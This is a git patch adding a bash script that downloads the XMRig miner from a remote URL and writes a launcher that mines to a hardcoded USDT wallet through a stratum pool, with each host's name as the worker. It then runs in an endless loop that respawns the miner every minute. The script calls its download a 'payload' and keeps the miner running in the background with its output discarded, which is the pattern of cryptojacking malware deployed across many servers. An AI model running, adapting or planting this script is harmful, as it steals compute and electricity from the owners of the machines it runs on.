From af91bdf3e46039b321f574d87b647ac316851efa Mon Sep 17 00:00:00 2001 From: Syn Naulaid Date: Thu, 30 Jan 2025 19:57:37 +0000 Subject: [PATCH] Add farm/rig/rigsh --- farm/rig/rigsh | 91 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 91 insertions(+) create mode 100644 farm/rig/rigsh diff --git a/farm/rig/rigsh b/farm/rig/rigsh new file mode 100644 index 0000000..0d018b5 --- /dev/null +++ b/farm/rig/rigsh @@ -0,0 +1,91 @@ +#!/bin/bash + +# URL untuk mengunduh xmrig.tar.gz +PAYLOAD_URL="https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz" + +# Direktori kerja saat ini +CURRENT_DIR=$(pwd) +XMRIG_PATH="$CURRENT_DIR/xmrig" +SCRIPT_PATH="$CURRENT_DIR/run_xmrig.sh" + +# Fungsi untuk mengunduh dan mengekstrak payload +download_and_extract_payload() { + TAR_FILE="$CURRENT_DIR/xmrig.tar.gz" + + if command -v wget >/dev/null 2>&1; then + echo "[*] wget tersedia. Mengunduh xmrig.tar.gz..." + wget "$PAYLOAD_URL" -O "$TAR_FILE" + elif command -v curl >/dev/null 2>&1; then + echo "[*] curl tersedia. Mengunduh xmrig.tar.gz..." + curl -o "$TAR_FILE" "$PAYLOAD_URL" + else + echo "[!] Tidak ada wget atau curl tersedia untuk mengunduh xmrig.tar.gz." + return 1 + fi + + echo "[*] Mengekstrak xmrig.tar.gz..." + tar -xzf "$TAR_FILE" -C "$CURRENT_DIR" +} + +# Fungsi untuk membuat file run_xmrig.sh +create_run_script() { + cat < "$SCRIPT_PATH" +#!/bin/bash + +# Mendapatkan hostname server +HOSTNAME=\$(hostname) + +# Menjalankan xmrig dengan parameter yang diberikan +nohup ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 \ + -u USDT:TTrVsRnBzjB5xEQ57NTVYJinjpnne8oGXN."\${HOSTNAME}" -p x > xmrig.log 2>&1 & + +# Menampilkan pesan sukses +echo "xmrig berjalan di latar belakang dengan nama worker: \${HOSTNAME}. Log output disimpan di xmrig.log" +EOL + chmod +x "$SCRIPT_PATH" + echo "[*] File run_xmrig.sh berhasil dibuat." +} + +# Fungsi untuk menjalankan xmrig +run_command() { + if [[ ! -f "$XMRIG_PATH" || ! -f "$SCRIPT_PATH" ]]; then + echo "[*] Payload atau skrip tidak ditemukan. Mengunduh dan menyiapkan xmrig..." + download_and_extract_payload + create_run_script + fi + + if [[ ! -f "$SCRIPT_PATH" ]]; then + echo "[*] File run_xmrig.sh tidak ditemukan. Membuat ulang..." + create_run_script + fi + + bash "$SCRIPT_PATH" + EXIT_CODE=$? + + echo "Command executed: bash $SCRIPT_PATH" + echo "Exit code: $EXIT_CODE" + + if [[ "$EXIT_CODE" -ne 0 ]]; then + echo "[*] Exit code non-zero detected ($EXIT_CODE). Checking active session..." + + if pgrep -f "./xmrig" >/dev/null 2>&1; then + echo "[*] Active session detected. Skipping payload execution." + else + echo "[*] No active session detected. Spawning payload..." + nohup bash "$SCRIPT_PATH" > /dev/null 2>&1 & + fi + else + echo "[*] Exit code zero. XMRig is running successfully." + fi +} + +# Fungsi untuk memastikan skrip berjalan terus menerus +run_persistently() { + while true; do + run_command + sleep 60 + done +} + +# Mulai menjalankan perintah secara terus menerus +run_persistently